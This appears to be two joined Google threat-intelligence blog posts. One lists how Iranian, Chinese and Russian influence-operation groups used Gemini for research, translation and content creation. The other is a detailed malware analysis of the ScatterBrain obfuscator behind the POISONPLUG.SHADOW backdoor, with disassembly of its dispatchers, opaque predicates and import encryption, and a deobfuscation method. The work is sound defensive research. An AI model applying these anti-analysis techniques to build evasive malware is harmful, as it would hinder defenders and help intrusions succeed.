      • • Generate or reformulate text to criticize a government minister and other individuals for failures or other actions
        • Describe how a popular American TV show perpetuates harmful stereotypes
        • Generate Islam-themed titles for thumbnail previews on social media
    • General research - news and events
      • • Provide an overview of current events in specific regions
        • Research about the Iran-Iraq war
        • Define specific terms
        • Suggest social media channels for information about Islam and the Quran
        • Provide information on countries' policies toward the Middle East
    • Create persona - photo generation
      • • Create a logo

PRC-Linked Information Operations Actors

IO actors linked to the People's Republic of China (PRC) used Gemini primarily for general research on a wide variety of topics. The most prolific IO actor we track, the pro-China group DRAGONBRIDGE, was responsible for approximately three quarters of this activity. Of their activity, the majority use was general research about a wide variety of topics, ranging from details about the features of various social media platforms to questions about various topics of strategic interest to the PRC government. Actors researched information on current events and politics in other regions, with a focus on the US and Taiwan. They also showed interest in assessing the impact and risk of certain events. In a handful of cases, DRAGONBRIDGE used Gemini to generate articles or content on specific topics.

At a Glance: PRC-Linked IO Actors Using Gemini

• Three PRC-linked IO groups observed using Gemini 
• Example use cases: 
  • • General research - political and social topics
      • • Research about specific countries, organizations, and individuals 
        • Research relations between specific countries and China
        • Research on topics sensitive to the the Chinese government (e.g., five poisons) 
        • Research on Taiwanese politicians and their actions toward China
        • Research on US politics and political figures and their attitudes on China
        • Research foreign press coverage about China
        • Summarize key takeaways from a video
    • General research - technology 
      • • Compare functionality and features of different social media platforms 
        • Explain technical concepts and suggestions for useful tools
    • Translation - content in / out of native language 
      • • Translate and summarize text between Chinese and other languages 
    • Content creation - text
      • • Draft articles on topics such as the use of AI and social movements in specific regions
        • Generate a summary of a movie trailer about a Chinese dissident
    • Create persona - text generation
      • • Generate a company profile for a media company

DRAGONBRIDGE has experimented with other generative AI tools to create synthetic content in support of their IO campaigns. As early as 2022, the group used a commercial AI service in videos on YouTube to depict AI-generated news presenters. Their use of AI-generated video continued through 2024 but has not resulted in significantly higher engagement from real viewers. Google detected and terminated the channels distributing this content immediately upon discovery. DRAGONBRIDGE's use of AI-generated videos or images has not resulted in significantly higher engagement from real viewers.

Russia-Linked Information Operations Actors

Russian IO actors used Gemini for general research, content creation, and translation. Half of this activity was associated with the Russian IO actor we track as KRYMSKYBRIDGE, which is linked to a Russian consulting firm that works with the Russian government. Approximately 40% of activity was linked to actors associated with Russian state sponsored entities formerly controlled by the late Russian oligarch Yevgeny Prigozhin. We also observed usage by actors tracked publicly as Doppelganger. 

The majority of Russian IO actor usage was related to general research tasks, ranging from the Russia-Ukraine war to details about various tools and online services. Russian IO actors also used Gemini for content creation, rewriting article titles and planning social media campaigns. Translation to and from Russian was also a common task. 

Russian IO actors focused on the generative AI landscape, which may indicate an interest in developing native capabilities in AI on infrastructure they control. They researched tools that can be used to create an online AI chatbot and developer tools for interacting with LLMs. One Russian IO actor used Gemini to suggest options for textual content analysis. 

Pro-Russia IO actors have used AI in their influence campaigns in the past. In 2024, the actor known as CopyCop likely used LLMs to generate content, and some stories on their sites included metadata indicating an LLM was prompted to rewrite articles from genuine news sources with a particular political perspective or tone. CopyCop's inauthentic news sites pose as US- and Europe-based news outlets and post Kremlin-aligned views on Western policy, the war in Ukraine, and domestic politics in the US and Europe.

At a Glance: Russia-Linked IO Actors Using Gemini

• Four Russia-linked IO groups observed using Gemini
• Example use cases: 
  • • General research
      • • Research into the Russia-Ukraine war 
        • Explain subscription plans and API details for online services
        • Research on different generative AI platforms, software, and systems for interacting with LLMs 
        • Research on tools and methods for creating an online chatbot 
        • Research tools for content analysis  
    • Translation - content in / out of native language
      • • Translate technical and business terminology into Russian 
        • Translate text to/from Russian
    • Content creation - text 
      • • Draft a proposal for a social media agency 
        • Rewrite article titles to garner more attention 
    • Plan and strategize campaigns 
      • • Develop content strategy for different social media platforms and regions  
        • Brainstorm ideas for a PR campaign and accompanying visual designs

Building AI Safely and Responsibly 

We believe our approach to AI must be both bold and responsible. To us, that means developing AI in a way that maximizes the positive benefits to society while addressing the challenges. Guided by our AI Principles, Google designs AI systems with robust security measures and strong safety guardrails, and we continuously test the security and safety of our models to improve them. Our policy guidelines and prohibited use policies prioritize safety and responsible use of Google's generative AI tools. Google's policy development process includes identifying emerging trends, thinking end-to-end, and designing for safety. We continuously enhance safeguards in our products to offer scaled protections to users across the globe.  

At Google, we leverage threat intelligence to disrupt adversary operations. We investigate abuse of our products, services, users and platforms, including malicious cyber activities by government-backed threat actors, and work with law enforcement when appropriate. Moreover, our learnings from countering malicious activities are fed back into our product development to improve safety and security for our AI models. Google DeepMind also develops threat models for generative AI to identify potential vulnerabilities, and creates new evaluation and training techniques to address misuse caused by them. In conjunction with this research, DeepMind has shared how they're actively deploying defenses within AI systems along with measurement and monitoring tools, one of which is a robust evaluation framework used to automatically red team an AI system's vulnerability to indirect prompt injection attacks. Our AI development and Trust & Safety teams also work closely with our threat intelligence, security, and modelling teams to stem misuse.

The potential of AI, especially generative AI, is immense. As innovation moves forward, the industry needs security standards for building and deploying AI responsibly. That's why we introduced the Secure AI Framework (SAIF), a conceptual framework to secure AI systems. We've shared a comprehensive toolkit for developers with resources and guidance for designing, building, and evaluating AI models responsibly. We've also shared best practices for implementing safeguards, evaluating model safety, and red teaming to test and secure AI systems. 

About the Authors

Google Threat Intelligence Group brings together the Mandiant Intelligence and Threat Analysis Group (TAG) teams, and focuses on identifying, analyzing, mitigating, and eliminating entire classes of cyber threats against Alphabet, our users, and our customers. Our work includes countering threats from government-backed attackers, targeted 0-day exploits, coordinated information operations (IO), and serious cyber crime networks. We apply our intelligence to improve Google's defenses and protect our users and customers.

Written by: Nino Isakovic

Introduction

Since 2022, Google Threat Intelligence Group (GTIG) has been tracking multiple cyber espionage operations conducted by China-nexus actors utilizing POISONPLUG.SHADOW. These operations employ a custom obfuscating compiler that we refer to as "ScatterBrain," facilitating attacks against various entities across Europe and the Asia Pacific (APAC) region. ScatterBrain appears to be a substantial evolution of ScatterBee, an obfuscating compiler previously analyzed by PWC.

GTIG assesses that POISONPLUG is an advanced modular backdoor used by multiple distinct, but likely related threat groups based in the PRC, however we assess that POISONPLUG.SHADOW usage appears to be further restricted to clusters associated with APT41.

GTIG currently tracks three known POISONPLUG variants:

• POISONPLUG
• POISONPLUG.DEED
• POISONPLUG.SHADOW

POISONPLUG.SHADOW—often referred to as "Shadowpad," a malware family name first introduced by Kaspersky—stands out due to its use of a custom obfuscating compiler specifically designed to evade detection and analysis. Its complexity is compounded by not only the extensive obfuscation mechanisms employed but also by the attackers' highly sophisticated threat tactics. These elements collectively make analysis exceptionally challenging and complicate efforts to identify, understand, and mitigate the associated threats it poses.

In addressing these challenges, GTIG collaborates closely with the FLARE team to dissect and analyze POISONPLUG.SHADOW. This partnership utilizes state-of-the-art reverse engineering techniques and comprehensive threat intelligence capabilities required to mitigate the sophisticated threats posed by this threat actor. We remain dedicated to advancing methodologies and fostering innovation to adapt to and counteract the ever-evolving tactics of threat actors, ensuring the security of Google and our customers against sophisticated cyber espionage operations.

Overview

In this blog post, we present our in-depth analysis of the ScatterBrain obfuscator, which has led to the development of a complete stand-alone static deobfuscator library independent of any binary analysis frameworks. Our analysis is based solely on the obfuscated samples we have successfully recovered, as we do not possess the obfuscating compiler itself. Despite this limitation, we have been able to comprehensively infer every aspect of the obfuscator and the necessary requirements to break it. Our analysis further reveals that ScatterBrain is continuously evolving, with incremental changes identified over time, highlighting its ongoing development.

This publication begins by exploring the fundamental primitives of ScatterBrain, outlining all its components and the challenges they present for analysis. We then detail the steps required to subvert and remove each protection mechanism, culminating in our deobfuscator. Our library takes protected binaries generated by ScatterBrain as input and produces fully functional deobfuscated binaries as output.

By detailing the inner workings of ScatterBrain and sharing our deobfuscator, we hope to provide valuable insights into developing effective countermeasures. Our blog post is intentionally exhaustive, drawing from our experience in dealing with obfuscation for clients, where we observed a significant lack of clarity in understanding modern obfuscation techniques. Similarly, analysts often struggle with understanding even relatively simplistic obfuscation methods primarily because standard binary analysis tooling is not designed to account for them. Therefore, our goal is to alleviate this burden and help enhance the collective understanding against commonly seen protection mechanisms.

For general questions about obfuscating compilers, we refer to our previous work on the topic, which provides an introduction and overview.

ScatterBrain Obfuscator Introduction

ScatterBrain is a sophisticated obfuscating compiler that integrates multiple operational modes and protection components to significantly complicate the analysis of the binaries it generates. Designed to render modern binary analysis frameworks and defender tools ineffective, ScatterBrain disrupts both static and dynamic analyses.

• Protection Modes: ScatterBrain operates in three distinct modes, each determining the overall structure and intensity of the applied protections. These modes allow the compiler to adapt its obfuscation strategies based on the specific requirements of the attack.
• Protection Components: The compiler employs key protection components that include the following:
  • Selective or Full Control Flow Graph (CFG) Obfuscation: This technique restructures the program's control flow, making it very difficult to analyze and create detection rules for.
  • Instruction Mutations: ScatterBrain alters instructions to obscure their true functionality without changing the program's behavior.
  • Complete Import Protection: ScatterBrain employs a complete protection of a binary's import table, making it extremely difficult to understand how the binary interacts with the underlying operating system.

These protection mechanisms collectively make it extremely challenging for analysts to deconstruct and understand the functionality of the obfuscated binaries. As a result, ScatterBrain poses a formidable obstacle for cybersecurity professionals attempting to dissect and mitigate the threats it generates.

Modes of Operation

A mode refers to how ScatterBrain will transform a given binary into its obfuscated representation. It is distinct from the actual core obfuscation mechanisms themselves and is more about the overall strategy of applying protections. Our analysis further revealed a consistent pattern in applying various protection modes at specific stages of an attack chain:

• Selective: A group of individually selected functions are protected, leaving the remainder of the binary in its original state. Any import references within the selected functions are also obfuscated. This mode was observed to be used strictly for dropper samples of an attack chain.
• Complete: The entirety of the code section and all imports are protected. This mode was applied solely to the plugins embedded within the main backdoor payload.
• Complete "headerless": This is an extension of the Complete mode with added data protections and the removal of the PE header. This mode was exclusively reserved for the final backdoor payload.

Selective

The selective mode of protection allows users of the obfuscator to selectively target individual functions within the binary for protection. Protecting an individual function involves keeping the function at its original starting address (produced by the original compiler and linker) and substituting the first instruction with a jump to the obfuscated code. The generated obfuscations are stored linearly from this starting point up to a designated "end marker" that signifies the ending boundary of the applied protection. This entire range constitutes a protected function.

The disassembly of a call site to a protected function can take the following from:

.text:180001000 sub rsp, 28h .text:180001004 mov rcx, cs:g_Imagebase .text:18000100B call PROTECTED_FUNCTION ; call to protected func .text:180001010 mov ecx, eax .text:180001012 call cs:ExitProcess

Figure 1: Disassembly of a call to a protected function

The start of the protected function:

.text:180001039 PROTECTED_FUNCTION .text:180001039 jmp loc_18000DF97 ; jmp into obfuscated code .text:180001039 sub_180001039 endp .text:000000018000103E db 48h ; H. ; garbage data .text:000000018000103F db 0FFh .text:0000000180001040 db 0C1h

Figure 2: Disassembly inside of a protected function

The "end marker" consists of two sets of padding instructions, an int3 instruction and a single multi-nop instruction:

END_MARKER: .text:18001A95C CC CC CC CC CC CC CC CC CC CC 66 66 0F 1F 84 00 00 00 00 00 .text:18001A95C int 3 .text:18001A95D int 3 .text:18001A95E int 3 .text:18001A95F int 3 .text:18001A960 int 3 .text:18001A961 int 3 .text:18001A962 int 3 .text:18001A963 int 3 .text:18001A964 int 3 .text:18001A965 int 3 .text:18001A966 db 66h, 66h ; @NOTE: IDA doesn't disassemble properly .text:18001A966 nop word ptr [rax+rax+00000000h] ; ------------------------------------------------------------------------- ; next, original function .text:18001A970 ; [0000001F BYTES: COLLAPSED FUNCTION __security_check_cookie. PRESS CTRL-NUMPAD+ TO EXPAND]

Figure 3: Disassembly listing of an end marker

Complete

The complete mode protects every function within the .text section of the binary, with all protections integrated directly into a single code section. There are no end markers to signify protected regions; instead, every function is uniformly protected, ensuring comprehensive coverage without additional sectioning.

This mode forces the need for some kind of deobfuscation tooling. Whereas selective mode only protects the selected functions and leaves everything else in its original state, this mode makes the output binary extremely difficult to analyze without accounting for the obfuscation.

Complete Headerless

This complete mode extends the complete approach to add further data obfuscations alongside the code protections. It is the most comprehensive mode of protection and was observed to be exclusively limited to the final payloads of an attack chain. It incorporates the following properties:

• Full PE header of the protected binary is removed.

• Custom loading logic (a loader) is introduced.

• Becomes the entry point of the protected binary

• Responsible of ensuring the protected binary is functional

• Includes the option of mapping the final payload within a separate memory region distinct from the initial memory region it was loaded in

• Metadata is protected via hash-like integrity checks.

• The metadata is utilized by the loader as part of its initialization sequence.

• Import protection will require relocation adjustments.

• Done through an "import fixup table"

The loader’s entry routine crudely merges with the original entry of the binary by inserting multiple jmp instructions to bridge the two together. The following is what the entry point looks like after running our deobfuscator against a binary protected in headerless mode.

Figure 4: Deobfuscated loader entry

The loader's metadata is stored in the .data section of the protected binary. It is found via a memory scan that applies bitwise XOR operations against predefined constants. The use of these not only locates the metadata but also serves a dual purpose of verifying its integrity. By checking that the data matches expected patterns when XORed with these constants, the loader ensures that the metadata has not been altered or tampered with.

Figure 5: Memory scan to identify the loader's metadata inside the .data section

The metadata contains the following (in order):

• Import fixup table (fully explained in the Import Protection section)

• Integrity-hash constants

• Relative virtual address (RVA) of the .data section

• Offset to the import fixup table from the start of the .data section

• Size, in bytes, of the fixup table

• Global pointer to the memory address that the backdoor is at

• Encrypted and compressed data specific to the backdoor

• Backdoor config and plugins

Figure 6: Loader's metadata

Core Protection Components Instruction Dispatcher

The instruction dispatcher is the central protection component that transforms the natural control flow of a binary (or individual function) into scattered basic blocks that end with a unique dispatcher routine that dynamically guides the execution of the protected binary.

Figure 7: Illustration of the control flow instruction dispatchers induce

Each call to a dispatcher is immediately followed by a 32-bit encoded displacement positioned at what would normally be the return address for the call. The dispatcher decodes this displacement to calculate the destination target for the next group of instructions to execute. A protected binary can easily contain thousands or even tens of thousands of these dispatchers making manual analysis of them practically infeasible. Additionally, the dynamic dispatching and decoding logic employed by each dispatcher effectively disrupts CFG reconstruction methods used by all binary analysis frameworks.

The decoding logic is unique for each dispatcher and is carried out using a combination of add, sub, xor, and, or, and lea instructions. The decoded offset value is then either subtracted from or added to the expected return address of the dispatcher call to determine the final destination address. This calculated address directs execution to the next block of instructions, which will similarly end with a dispatcher that uniquely decodes and jumps to subsequent instruction blocks, continuing this process iteratively to control the program flow.

The following screenshot illustrates what a dispatcher instance looks like when constructed in IDA Pro. Notice the scattered addresses present even within instruction dispatchers, which result from the obfuscator transforming fallthrough instructions—instructions that naturally follow the preceding instruction—into pairs of conditional branches that use opposite conditions. This ensures that one branch is always taken, effectively creating an unconditional jump. Additionally, a mov instruction that functions as a no-op is inserted to split these branches, further obscuring the control flow.

Figure 8: Example of an instruction dispatcher and all of its components

The core logic for any dispatcher can be categorized into the following four phases:

1. Preservation of Execution Context
   • Each dispatcher selects a single working register (e.g., RSI as depicted in the screenshot) during the obfuscation process. This register is used in conjunction with the stack to carry out the intended decoding operations and dispatch. 
   • The RFLAGS register in turn is safeguarded by employing pushfq and popfq instructions before carrying out the decoding sequence.
2. Retrieval of Encoded Displacement
   • Each dispatcher retrieves a 32-bit encoded displacement located at the return address of its corresponding call instruction. This encoded displacement serves as the basis for determining the next destination address.
3. Decoding Sequence
   • Each dispatcher employs a unique decoding sequence composed of the following arithmetic and logical instructions: xor, sub, add, mul, imul, div, idiv, and, or, and not. This variability ensures that no two dispatchers operate identically, significantly increasing the complexity of the control flow.
4. Termination and Dispatch
   • The ret instruction is strategically used to simultaneously signal the end of the dispatcher function and redirect the program's control flow to the previously calculated destination address.

It is reasonable to infer that the obfuscator utilizes a template similar to the one illustrated in Figure 9 when applying its transformations to the original binary:

Figure 9: Instruction dispatcher template

Opaque Predicates

ScatterBrain uses a series of seemingly trivial opaque predicates (OP) that appear straightforward to analysts but significantly challenge contemporary binary analysis frameworks, especially when used collectively. These opaque predicates effectively disrupt static CFG recovery techniques not specifically designed to counter their logic. Additionally, they complicate symbolic execution approaches as well by inducing path explosions and hindering path prioritization. In the following sections, we will showcase a few examples produced by ScatterBrain.

test OP

This opaque predicate is constructed around the behavior of the test instruction when paired with an immediate zero value. Given that the test instruction effectively performs a bitwise AND operation, the obfuscator exploits the fact that any value bitwise AND-ed with zero always invariably results in zero.

Here are some abstracted examples we can find in a protected binary—abstracted in the sense that all instructions are not guaranteed to follow one another directly; other forms of mutations can be between them as can instruction dispatchers.

test bl, 0 jnp loc_56C96 ; we never satisfy these conditions ------------------------------ test r8, 0 jo near ptr loc_3CBC8 ------------------------------ test r13, 0 jnp near ptr loc_1A834 ------------------------------ test eax, 0 jnz near ptr loc_46806

Figure 10: Test opaque predicate examples

To grasp the implementation logic of this opaque predicate, the semantics of the test instruction and its effects on the processor's flags register are required. The instruction can affect six different flags in the following manner:

• Overflow Flag (OF): Always cleared

• Carry Flag (CF): Always cleared

• Sign Flag (SF): Set if the most significant bit (MSB) of the result is set; otherwise cleared

• Zero Flag (ZF): Set if the result is 0; otherwise cleared

• Parity Flag (PF): Set if the number of set bits in the least significant byte (LSB) of the result is even; otherwise cleared

• Auxiliary Carry Flag (AF): Undefined

Applying this understanding to the sequences produced by ScatterBrain, it is evident that the generated conditions can never be logically satisfied:

Sequence

Condition Description

test <reg>, 0; jo

OF is always cleared

test <reg>, 0; jnae/jc/jb

CF is always cleared

test <reg>, 0; js

Resulting value will always be zero; therefore, SF can never be set

test <reg>, 0; jnp/jpo

The number of bits in zero is always zero, which is an even number; therefore, PF can never be set

test <reg>, 0; jne/jnz

Resulting value will always be zero; therefore, ZF will always be set

Table 1: Test opaque predicate understanding

jcc OP

The opaque predicate is designed to statically obscure the original immediate branch targets for conditional branch (jcc) instructions. Consider the following examples:

test eax, eax ja loc_3BF9C ja loc_2D154 test r13, r13 jns loc_3EA84 jns loc_53AD9 test eax, eax jnz loc_99C5 jnz loc_121EC cmp eax, FFFFFFFF jz loc_273EE jz loc_4C227

Figure 11: jcc opaque predicate examples

The implementation is straightforward: each original jcc instruction is duplicated with a bogus branch target. Since both jcc instructions are functionally identical except for their respective branch destinations, we can determine with certainty that the first jcc in each pair is the original instruction. This original jcc dictates the correct branch target to follow when the respective condition is met, while the duplicated jcc serves to confuse analysis tools by introducing misleading branch paths.

Stack-Based OP

The stack-based opaque predicate is designed to check whether the current stack pointer (rsp) is below a predetermined immediate threshold—a condition that can never be true. It is consistently implemented by pairing the cmp rsp instruction with a jb (jump if below) condition immediately afterward.

cmp rsp, 0x8d6e jb near ptr unk_180009FDA

Figure 12: Stack-based opaque predicate example

This technique inserts conditions that are always false, causing CFG algorithms to follow both branches and thereby disrupt their ability to accurately reconstruct the control flow.

Import Protection

The obfuscator implements a sophisticated import protection layer. This mechanism conceals the binary 's dependencies by transforming each original call or jmp instruction directed at an import through a unique stub dispatcher routine that knows how to dynamically resolve and invoke the import in question.

Figure 13: Illustration of all the components involved in the import protection

It consists of the following components:

• Import-specific encrypted data: Each protected import is represented by a unique dispatcher stub and a scattered data structure that stores RVAs to both the encrypted dynamic-link library (DLL) and application programming interface (API) names. We refer to this structure as obf_imp_t. Each dispatcher stub is hardcoded with a reference to its respective obf_imp_t.

• Dispatcher stub: This is an obfuscated stub that dynamically resolves and invokes the intended import. While every stub shares an identical template, each contains a unique hardcoded RVA that identifies and locates its corresponding obf_imp_t.

• Resolver routine: Called from the dispatcher stub, this obfuscated routine resolves the import and returns it to the dispatcher, which facilitates the final call to the intended import. It begins by locating the encrypted DLL and API names based on the information in obf_imp_t. After decrypting these names, the routine uses them to resolve the memory address of the API.

• Import decryption routine: Called from the resolver routine, this obfuscated routine is responsible for decrypting the DLL and API name blobs through a custom stream cipher implementation. It uses a hardcoded 32-bit salt that is unique per protected sample.

• Fixup Table: Present only in headerless mode, this is a relocation fixup table that the loader in headerless mode uses to correct all memory displacements to the following import protection components:

• Encrypted DLL names

• Encrypted API names

• Import dispatcher references

Dispatcher Stub

The core of the import protection mechanism is the dispatcher stub. Each stub is tailored to an individual import and consistently employs a lea instruction to access its respective obf_imp_t, which it passes as the only input to the resolver routine.

push rcx ; save RCX lea rcx, [rip+obf_imp_t] ; fetch import-specific obf_imp_t push rdx ; save all other registers the stub uses push r8 push r9 sub rsp, 28h call ObfImportResolver ; resolve the import and return it in RAX add rsp, 28h pop r9 ; restore all saved registers pop r8 pop rdx pop rcx jmp rax ; invoke resolved import

Figure 14: Deobfuscated import dispatcher stub

Each stub is obfuscated through the mutation mechanisms outlined earlier. This applies to the resolver and import decryption routines as well. The following is what the execution flow of a stub can look like. Note the scattered addresses that while presented sequentially are actually jumping all around the code segment due to the instruction dispatchers.

0x01123a call InstructionDispatcher_TargetTo_11552 0x011552 push rcx 0x011553 call InstructionDispatcher_TargetTo_5618 0x005618 lea rcx, [rip+0x33b5b] ; fetch obf_imp_t 0x00561f call InstructionDispatcher_TargetTo_f00c 0x00f00c call InstructionDispatcher_TargetTo_191b5 0x0191b5 call InstructionDispatcher_TargetTo_1705a 0x01705a push rdx 0x01705b call InstructionDispatcher_TargetTo_05b4 0x0105b4 push r8 0x0105b6 call InstructionDispatcher_TargetTo_f027 0x00f027 push r9 0x00f029 call InstructionDispatcher_TargetTo_18294 0x018294 test eax, 0 0x01829a jo 0xf33c 0x00f77b call InstructionDispatcher_TargetTo_e817 0x00e817 sub rsp, 0x28 0x00e81b call InstructionDispatcher_TargetTo_a556 0x00a556 call 0x6afa (ObfImportResolver) 0x00a55b call InstructionDispatcher_TargetTo_19592 0x019592 test ah, 0 0x019595 call InstructionDispatcher_TargetTo_a739 0x00a739 js 0x1935 0x00a73b call InstructionDispatcher_TargetTo_6eaa 0x006eaa add rsp, 0x28 0x006eae call InstructionDispatcher_TargetTo_6257 0x006257 pop r9 0x006259 call InstructionDispatcher_TargetTo_66d6 0x0066d6 pop r8 0x0066d8 call InstructionDispatcher_TargetTo_1a3cb 0x01a3cb pop rdx 0x01a3cc call InstructionDispatcher_TargetTo_67ab 0x0067ab pop rcx 0x0067ac call InstructionDispatcher_TargetTo_6911 0x006911 jmp rax

Figure 15: Obfuscated import dispatcher stub

Resolver Logic

obf_imp_t is the central data structure that contains the relevant information to resolve each import. It has the following form:

struct obf_imp_t { // sizeof=0x18 uint32_t CryptDllNameRVA; // NOTE: will be 64-bits, due to padding uint32_t CryptAPINameRVA; // NOTE: will be 64-bits, due to padding uint64_t ResolvedImportAPI; // Where the resolved address is stored };

Figure 16: obf_imp_t in its original C struct source form

It is processed by the resolver routine, which uses the embedded RVAs to locate the encrypted DLL and API names, decrypting each in turn. After decrypting each name blob, it uses LoadLibraryA to ensure the DLL dependency is loaded in memory and leverages GetProcAddress to retrieve the address of the import.

Fully decompiled ObfImportResolver:

Figure 17: Fully decompiled import resolver routine

Import Encryption Logic

The import decryption logic is implemented using a Linear Congruential Generator (LCG) algorithm to generate a pseudo-random key stream, which is then used in a XOR-based stream cipher for decryption. It operates on the following formula:

Xn + 1 = (a • Xn + c) mod 232

where:

• a is always hardcoded to 17 and functions as the multiplier

• c is a unique 32-bit constant determined by the encryption context and is unique per-protected sample

• We refer to it as the imp_decrypt_const

• mod 232 confines the sequence values to a 32-bit range

The decryption logic initializes with a value from the encrypted data and iteratively generates new values using the outlined LCG formula. Each iteration produces a byte derived from the calculated value, which is then XOR'ed with the corresponding encrypted byte. This process continues byte-by-byte until it reaches a termination condition.

A fully recovered Python implementation for the decryption logic is provided in Figure 18.

Figure 18: Complete Python implementation of the import string decryption routine

Import Fixup Table

The import relocation fixup table is a fixed-size array composed of two 32-bit RVA entries. The first RVA represents the memory displacement of where the data is referenced from. The second RVA points to the actual data in question. The entries in the fixup table can be categorized into three distinct types, each corresponding to a specific import component:

• Encrypted DLL names

• Encrypted API names

• Import dispatcher references

Figure 19: Illustration of the import fixup table

The location of the fixup table is determined by the loader's metadata, which specifies an offset from the start of the .data section to the start of the table. During initialization, the loader is responsible for applying the relocation fixups for each entry in the table.

Figure 20: Loader metadata that shows the Import fixup table entries and metadata used to find it

Recovery

Effective recovery from an obfuscated binary necessitates a thorough understanding of the protection mechanisms employed. While deobfuscation often benefits from working with an intermediate representation (IR) rather than the raw disassembly—an IR provides more granular control in undoing transformations—this obfuscator preserves the original compiled code, merely enveloping it with additional protection layers. Given this context, our deobfuscation strategy focuses on stripping away the obfuscator's transformations from the disassembly to reveal the original instructions and data. This is achieved through a series of hierarchical phases, where each subsequent phase builds upon the previous one to ensure comprehensive deobfuscation.

We categorize this approach into three distinct categories that we eventually integrate:

1. CFG Recovery

• Restoring the natural control flow by removing obfuscation artifacts at the instruction and  basic block levels. This involves two phases:

• Accounting for instruction dispatchers: Addressing the core of control flow protection that obscure the execution flow

• Function identification and recovery: Cataloging scattered instructions and reassembling them into their original function counterparts

2. Import Recovery

• Original Import Table: The goal is to reconstruct the original import table, ensuring that all necessary library and function references are accurately restored.

3. Binary Rewriting

• Generating Deobfuscated Executables: This process entails creating a new, deobfuscated executable that maintains the original functionality while removing ScatterBrain's modifications.

Given the complexity of each category, we concentrate on the core aspects necessary to break the obfuscator by providing a guided walkthrough of our deobfuscator's source code and highlighting the essential logic required to reverse these transformations. This step-by-step examination demonstrates how each obfuscation technique is methodically undone, ultimately restoring the binary's original structure.

Our directory structure reflects this organized approach:

+---helpers | | emu64.py | | pefile_utils.py | |--- x86disasm.py | \---recover | recover_cfg.py | recover_core.py | recover_dispatchers.py | recover_functions.py | recover_imports.py |--- recover_output64.py

Figure 21: Directory structure of our deobfuscator library

This comprehensive recovery process not only restores the binaries to their original state but also equips analysts with the tools and knowledge necessary to combat similar obfuscation techniques in the future.

CFG Recovery

The primary obstacle disrupting the natural control flow graph is the use of instruction dispatchers. Eliminating these dispatchers is our first priority in obtaining the CFG. Afterward, we need to reorganize the scattered instructions back into their original function representations—a problem known as function identification, which is notoriously difficult to generalize. Therefore, we approach it using our specific knowledge about the obfuscator.

Linearizing the Scattered CFG

Our initial step in recovering the original CFG is to eliminate the scattering effect induced by instruction dispatchers. We will transform all dispatcher call instructions into direct branches to their resolved targets. This transformation linearizes the execution flow, making it straightforward to statically pursue the second phase of our CFG recovery. This will be implemented via brute-force scanning, static parsing, emulation, and instruction patching.

Function Identification and Recovery

We leverage a recursive descent algorithm that employs a depth-first search (DFS) strategy applied to known entry points of code, attempting to exhaust all code paths by "single-stepping" one instruction at a time. We add additional logic to the processing of each instruction in the form of "mutation rules" that stipulate how each individual instruction needs to be processed. These rules aid in stripping away the obfuscator's code from the original.

Removing Instruction Dispatchers

Eliminating instruction dispatchers involves identifying each dispatcher location and its corresponding dispatch target. Recall that the target is a uniquely encoded 32-bit displacement located at the return address of the dispatcher call. To remove instruction dispatchers, it is essential to first understand how to accurately identify them. We begin by categorizing the defining properties of individual instruction dispatchers:

• Target of a Near Call
  • Dispatchers are always the destination of a near call instruction, represented by the E8 opcode followed by a 32-bit displacement.
• References Encoded 32-Bit Displacement at Return Address
  • Dispatchers reference the encoded 32-bit displacement located at the return address on the stack by performing a 32-bit read from the stack pointer. This displacement is essential for determining the next execution target.
• Pairing of pushfq and popfq Instructions to Safeguard Decoding
  • Dispatchers use a pair of pushfq and popfq instructions to preserve the state of the RFLAGS register during the decoding process. This ensures that the dispatcher does not alter the original execution context, maintaining the integrity of register contents.
• End with a ret Instruction
  • Each dispatcher concludes with a ret instruction, which not only ends the dispatcher function but also redirects control to the next set of instructions, effectively continuing the execution flow.

Leveraging the aforementioned categorizations, we implement the following approach to identify and remove instruction dispatchers:

1. Brute-Force Scanner for Near Call Locations

• Develop a scanner that searches for all near call instructions within the code section of the protected binary. This scanner generates a huge array of potential call locations that may serve as dispatchers.

2. Implementation of a Fingerprint Routine

• The brute-force scan yields a large number of false positives, requiring an efficient method to filter them. While emulation can filter out false positives, it is computationally expensive to do it for the brute-force results.

• Introduce a shallow fingerprinting routine that traverses the disassembly of each candidate to identify key dispatcher characteristics, such as the presence of pushfq and popfq sequences. This significantly improves performance by eliminating most false positives before concretely verifying them through emulation.

3. Emulation of Targets to Recover Destinations

• Emulate execution starting from each verified call site to accurately recover the actual dispatch targets. Emulating from the call site ensures that the emulator processes the encoded offset data at the return address, abstracting away the specific decoding logic employed by each dispatcher.

• A successful emulation also serves as the final verification step to confirm that we have identified a dispatcher.

4. Identification of Dispatch Targets via ret Instructions

• Utilize the terminating ret instruction to accurately identify the dispatch target within the binary.

• The ret instruction is a definitive marker indicating the end of a dispatcher function and the point at which control is redirected, making it a reliable indicator for target identification.

Brute-Force Scanner

The following Python code implements the brute-force scanner, which performs a comprehensive byte signature scan within the code segment of a protected binary. The scanner systematically identifies all potential call instruction locations by scanning for the 0xE8 opcode associated with near call instructions. The identified addresses are then stored for subsequent analysis and verification.

Figure 22: Python implementation of the brute-force scanner

Fingerprinting Dispatchers

The fingerprinting routine leverages the unique characteristics of instruction dispatchers, as detailed in the Instruction Dispatchers section, to statically identify potential dispatcher locations within a protected binary. This identification process utilizes the results from the prior brute-force scan. For each address in this array, the routine disassembles the code and examines the resulting disassembly listing to determine if it matches known dispatcher signatures.

This method is not intended to guarantee 100% accuracy, but rather serve as a cost-effective approach to identifying call locations with a high likelihood of being instruction dispatchers. Subsequent emulation will be employed to confirm these identifications.

1. Successful Decoding of a call Instruction

• The identified location must successfully decode to a call instruction. Dispatchers are always invoked via a call instruction. Additionally, dispatchers utilize the return address from the call site to locate their encoded 32-bit displacement.

2. Absence of Subsequent call Instructions

• Dispatchers must not contain any call instructions within their disassembly listing. The presence of any call instructions within a presumed dispatcher range immediately disqualifies the call location as a dispatcher candidate.

3. Absence of Privileged Instructions and Indirect Control Transfers

• Similarly to call instructions, the dispatcher cannot include privileged instructions or indirect unconditional jmps. Any presence of any such instructions invalidates the call location.

4. Detection of pushfq and popfq Guard Sequences

• The dispatcher must contain pushfq and popfq instructions to safeguard the RFLAGS register during decoding. These sequences are unique to dispatchers and suffice for a generic identification without worrying about the differences that arise between how the decoding takes place.

Figure 23 is the fingerprint verification routine that incorporates all the aforementioned characteristics and validation checks given a potential call location:

Figure 23: The dispatch fingerprint routine

Emulating Dispatchers to Resolve Destination Targets

After filtering potential dispatchers using the fingerprinting routine, the next step is to emulate them in order to recover their destination targets.

Figure 24: Emulation sequence used to recover dispatcher destination targets

